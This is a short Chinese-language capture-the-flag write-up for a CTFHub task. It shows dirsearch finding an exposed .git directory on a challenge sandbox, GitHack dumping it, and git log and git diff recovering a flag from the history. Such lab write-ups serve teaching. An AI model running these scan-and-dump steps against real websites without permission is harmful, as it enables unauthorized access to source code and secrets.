CTFHUB-git泄露-log_日志清除找到flag

 

在此次题目中需要用到的工具有

1.dirsearch(目录扫描工具)

2.GitHack(泄露利用工具)

我是在kail-linux中安装的这两个工具，在kail中安装时会碰到了各种各样的问题，但是在kail中使用工具是真的方便接下来让我们先来安装这两个软件吧

1.dirsearch(目录扫描工具)

apt-get update
 
#更新一下数据源

git clone https://github.com/maurosoria/dirsearch
#下载该工具

到这里我们就安装好了

2.GitHack(泄露利用工具)

git clone https://github.com/BugScanTeam/GitHack
#如果无法下载，就再执行一遍apt-get udate

OK两个工具都已安装完毕

 3.开始做题

首先我们进行目录扫描

dirsearch -u  http://challenge-5af314cf4264b28b.sandbox.ctfhub.com:10800/ -e*
#这里可以不用换路径，直接执行扫描

 发现存在git泄露

 使用githack进行扫描这个网址：http://challenge-5af314cf4264b28b.sandbox.ctfhub.com/.git

这里需要先进入GitHack目录

 

python2 GitHack.py http://challenge-5af314cf4264b28b.sandbox.ctfhub.com/.git
#GiHack只支持python2

扫完之后就会生成一个文件然后我们要访问这个文件（进入到这个目录）

git log
#获取文件的日志信息

git diff 
#对比添加和删除找到flag